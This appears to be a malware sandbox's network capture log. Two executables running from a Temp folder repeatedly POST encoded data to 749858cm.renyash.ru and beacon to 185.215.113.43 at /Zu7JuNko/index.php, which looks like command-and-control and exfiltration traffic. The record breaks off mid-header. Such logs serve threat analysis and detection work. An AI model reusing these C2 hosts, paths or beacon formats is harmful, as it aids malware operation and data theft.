Dec 16, 2024 13:18:53.201072931 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8MoyeQS12iOQlquXjgRl8PMYA6ZN07VBKDRh%2FvVpETthZlfAdOb2BDbWsYmdYT0C2rJ7XHH4AjkKZrYlkWC4Zwg1zJ3%2Fc9YAu1HtHX6V7FynPYPhv%2BOBhQ4p%2F%2BBK48KZa7eATUj7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e580cb64283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4532&min_rtt=2027&rtt_var=5771&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1399&delivery_rate=66153&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	50389	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:53.447488070 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	50391	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:53.815989971 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1916 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:54.171796083 CET	1916	OUT	Data Raw: 58 5a 43 57 59 5a 51 5d 5d 5a 59 53 57 5e 5a 5e 5a 56 5f 5e 51 5e 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZCWYZQ]]ZYSW^Z^ZV_^Q^RIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [+1=837'-(4:<-) +1!2*>=_ '>"F"#Y 0
Dec 16, 2024 13:18:54.902595997 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:55.152144909 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tIK146fTzOaqe0J3mMskbUULTqx2O5bnOswCCzghQR1HPA4ueh3y0ARmuHKjDWENwqIs5klJIEJ22KzD5L5G2Sb%2FZL9ZkNXRbKzM%2BKZFgUdtpR%2ByvCriAmXcWS19ij6Oz7bhWSbm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e642ae97c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3576&min_rtt=1769&rtt_var=4279&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2259&delivery_rate=89951&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0f 33 13 36 5b 23 3e 2b 56 2b 3f 38 10 26 23 08 01 38 2c 38 09 25 20 22 5b 25 31 25 10 24 34 20 03 20 22 2b 0f 30 21 2c 1c 32 1d 23 5d 01 1b 27 42 24 00 32 15 2b 01 0f 01 30 30 2d 1a 26 10 37 06 27 27 28 54 26 0d 09 54 21 28 36 5c 2e 22 22 5a 3c 3f 3b 58 39 0e 3e 03 23 3e 21 52 0d 13 22 54 30 38 2e 1d 33 21 2b 5a 37 55 24 05 21 34 37 56 24 2c 27 54 26 3a 3c 5c 25 2f 36 59 26 3b 3c 06 2a 38 22 57 23 0c 28 1d 2b 04 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:36[#>+V+?8&#8,8% "[%1%$4 "+0!,2#]'B$2+00-&7''(T&T!(6\.""Z<?;X9>#>!R"T08.3!+Z7U$!47V$,'T&:<\%/6Y&;<*8"W#(+ R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	50392	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:53.951380014 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:54.306678057 CET	1060	OUT	Data Raw: 58 53 46 50 5c 5f 51 5a 5d 5a 59 53 57 53 5a 53 5a 50 5f 5c 51 52 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSFP\_QZ]ZYSWSZSZP_\QRR@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _(-==#]%0<'., ::8(,&"=>6#'*8"F"#Y
Dec 16, 2024 13:18:55.035711050 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:55.277244091 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78215io81hvpRliDIZv3NXE%2BfnmcT8T4H%2Fnsen6KW561fs70iLCeDXzcOUZ%2FnzlmLTZIg7RqVuAaMmzxR6tpAZlsV%2FIZzL8%2Fnlov906WPAjLC0LsdyuZtwGhykKweAuVKSuNgqjK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e650f1ec454-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4331&min_rtt=1619&rtt_var=6031&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=62615&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	50395	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:54.914056063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:56.251164913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	50396	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:55.516303062 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:55.874667883 CET	1060	OUT	Data Raw: 58 55 43 51 59 5e 54 5e 5d 5a 59 53 57 53 5a 52 5a 56 5f 54 51 5b 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUCQY^T^]ZYSWSZRZV_TQ[RFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (?1-#X%0$>7^7$Y:?);V%T2SX5 ;="F"#Y
Dec 16, 2024 13:18:56.602931976 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:56.848424911 CET	812	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hcb4qSFZeKV%2Fl5%2FY0U1EvGA%2FXaqM1mEXKvhpIzirUs9JJJrq4ftqhiqLHniXs5xAUdYckPNED8ULvAtR2oplLjmKrjqhy92xbPz%2FWu6%2FtG7%2BawM%2BJ2lhfiunMD6HaIgfaZqv58YQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e6ece584263-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3756&min_rtt=1601&rtt_var=4912&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=77461&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	50398	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:57.083024025 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:57.431952000 CET	1060	OUT	Data Raw: 58 55 46 51 59 5e 54 58 5d 5a 59 53 57 5e 5a 51 5a 51 5f 5f 51 5a 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUFQY^TX]ZYSW^ZQZQ__QZR@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#?Y)> $43,7,3_+] %"!>Z"4;>"F"#Y 0
Dec 16, 2024 13:18:58.168678999 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:58.407789946 CET	816	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bW2JXyil6EUDNPS533e%2Fv2jq6pPDcOlGsArTKZfdyZ965e4bmiIsX84TXdv6HVN%2F36IBHa1C6r%2BzzbeXM8lrDeAz09N%2B%2Fooa%2FG%2BRN7HmF75XkX%2BTKaEku3%2F7xxH3wotNd0pAkXjC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e789d634297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3833&min_rtt=2095&rtt_var=4261&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=91255&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	50400	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:57.877317905 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:59.215101004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	50401	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:58.662286997 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:59.010026932 CET	1060	OUT	Data Raw: 58 54 43 53 59 5c 54 5a 5d 5a 59 53 57 5d 5a 5e 5a 50 5f 5f 51 5e 52 42 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTCSY\TZ]ZYSW]Z^ZP__Q^RBXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ X(1=-$?'("Y:0?#22)5Z4Q;\"F"#Y <
Dec 16, 2024 13:18:59.752777100 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:59.987813950 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vDURBNebCj63OzUv3Ws30cH7dlucppUVQM4IlDuiI0HhQQ7Z2YilKUHpaw0v0SD5xXQFfB58JnQkv%2BUjrWpNaavUfnPtaavU1Ats9dNH3JARXwKiy%2F%2Fd%2Bvc4frVesO4US4nbx1xH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e827c1e437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4771&min_rtt=1712&rtt_var=6760&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=55759&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	50404	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:00.286828995 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1916 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:19:00.639431953 CET	1916	OUT	Data Raw: 58 56 43 51 59 50 54 5e 5d 5a 59 53 57 58 5a 54 5a 50 5f 54 51 5b 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVCQYPT^]ZYSWXZTZP_TQ[RAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _+Y)?>/'#<Y%=< -+\+(+V12")>%#'$("F"#Y (
Dec 16, 2024 13:19:01.384299040 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:01.645781994 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MdAXi3NutSe%2B3NeH7HdQWUuD6zRHeCM7UmAA0z2ELphzOeb0UKavBKQdrXlQnWSpIWN62RP2T9sdV2%2B1Dx6NBdBB3UEAJ%2BYOuDvE6lR32Wm5XXZSHfPdxWEb8fkz6UXFdZNJTaX0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e8cb8000cae-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3845&min_rtt=1678&rtt_var=4963&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2259&delivery_rate=76785&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 54 24 3d 00 13 23 2e 33 1a 3e 2f 3c 10 27 23 04 07 38 2f 38 08 32 0a 3a 10 32 0b 25 10 31 1a 30 03 20 31 34 12 25 21 34 1c 31 27 23 5d 01 1b 27 40 30 00 25 00 3c 01 2e 1e 33 30 00 46 25 3e 3f 43 31 27 3f 0e 31 30 37 53 36 3b 29 00 38 32 03 02 2b 11 30 05 3a 30 21 10 23 2e 21 52 0d 13 22 55 33 38 3a 10 27 22 3b 1f 21 33 3c 03 36 24 24 09 33 3c 09 53 25 39 2b 02 24 59 29 02 26 16 3f 59 29 16 2e 1f 23 22 0d 0c 3c 04 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989T$=#.3>/<'#8/82:2%10 14%!41'#]'@0%<.30F%>?C1'?107S6;)82+0:0!#.!R"U38:'";!3<6$$3<S%9+$Y)&?Y).#"< R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	50405	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:00.535849094 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:19:00.900933981 CET	1060	OUT	Data Raw: 5d 51 43 52 59 58 51 5f 5d 5a 59 53 57 5d 5a 50 5a 5e 5f 5b 51 5c 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QCRYXQ_]ZYSW]ZPZ^_[Q\RAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ ^+!)$37$-?74\.7<+(11:S>>"$ >"F"#Y <
Dec 16, 2024 13:19:01.625586987 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:01.862034082 CET	811	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tvid1%2BermGSE0kLmrsf%2B0JjozlmEbHb%2F1kQwAJmn2Yj5pER%2BEElb43fYGS8qCKLR6CnfRkx%2Fi2p4nE5AQpZsudYuN8PFFJkez06J7wdAEqUzdaFVTjr05IkfCm3EDPXbG%2BMkzy9l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e8e3d9b2394-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7182&min_rtt=1965&rtt_var=11172&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=33405&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	50406	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:00.964859962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:19:02.296189070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	50407	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:02.114665031 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:19:02.472125053 CET	1060	OUT	Data Raw: 5d 55 46 56 59 5d 51 59 5d 5a 59 53 57 52 5a 50 5a 52 5f 58 51 5c 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]UFVY]QY]ZYSWRZPZR_XQ\RFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+,1)=#X'0X$>(7:#9<?0%!!=*7;(8"F"#Y
Dec 16, 2024 13:19:03.199769020 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:03.431761026 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CEmlkf5fNoyVpsCneG27VDJwA8JHbeC7QGVduVv5RlU7i9AUjgVB3Srlr2aAxusNkpiZhQCc6QtDfcLiF1yA9e7zAw0el0kIiVm%2BlbSQsvnMmigwIvsuwGtB1%2FC6FdiUNIbHIY%2BD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e980e964228-EWR alt-svc: h3=":443"; ma=86400 server-timing: 